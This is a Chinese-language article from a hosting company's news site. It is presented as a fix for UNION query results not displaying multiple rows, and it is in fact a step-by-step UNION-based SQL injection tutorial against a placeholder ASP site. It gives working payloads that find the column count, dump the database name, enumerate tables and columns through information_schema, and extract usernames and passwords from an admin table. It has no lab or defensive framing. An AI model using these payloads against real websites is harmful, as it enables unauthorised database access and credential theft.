溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

數(shù)據(jù)union聯(lián)合查詢后無法多行顯示的解決方法

發(fā)布時間:2020-06-06 19:38:46 來源:億速云 閱讀:400 作者:Leah 欄目:安全技術(shù)

這篇文章主要介紹了數(shù)據(jù)union聯(lián)合查詢后無法多行顯示的解決方法,具有一定借鑒價值,需要的朋友可以參考下。如下資料是關(guān)于union聯(lián)合查詢后數(shù)據(jù)無法多行顯示的解決步驟。

例如有一個網(wǎng)站:www.xxxxx.com/artist.asp?id=2

id=2 order by 3  正常
id=2 order by 4  不正常

order by需要獲取字段的總數(shù)為3

id=2 union select 1,2,3
id=2 union select 1,2,database()   #爆數(shù)據(jù)庫名
id=2 union select 1,2,database()

有一些數(shù)據(jù),union聯(lián)合查詢后,不會多行顯示,就需要先讓前面的語句失效

id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知數(shù)據(jù)庫sqlzhuru,爆表名(第一個表)

因id = -2不存在,帶入select * from admin where id=-2報錯哦
當然你也可以用下面的這個語句,效果等同于“id=-2”

id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知數(shù)據(jù)庫sqlzhuru,爆表名(第一個表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知數(shù)據(jù)庫sqlzhuru,爆表名(第一個表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知數(shù)據(jù)庫sqlzhuru,爆第二個表

假如得到admin表,繼續(xù)如下:

id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1   #已知admin表,爆二個列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1   #已知admin表,爆三個列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1  #已知admin表,爆三個列名(十六進制表示admin表)

假如上面得到admin表下的username、password列,接下來就可以列出某某的數(shù)據(jù)了

id=2 and 1=2 union select 1,username,password from admin

看完上述內(nèi)容,你們掌握union聯(lián)合查詢后數(shù)據(jù)無法多行顯示的解決方法了嗎?如果還想學到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI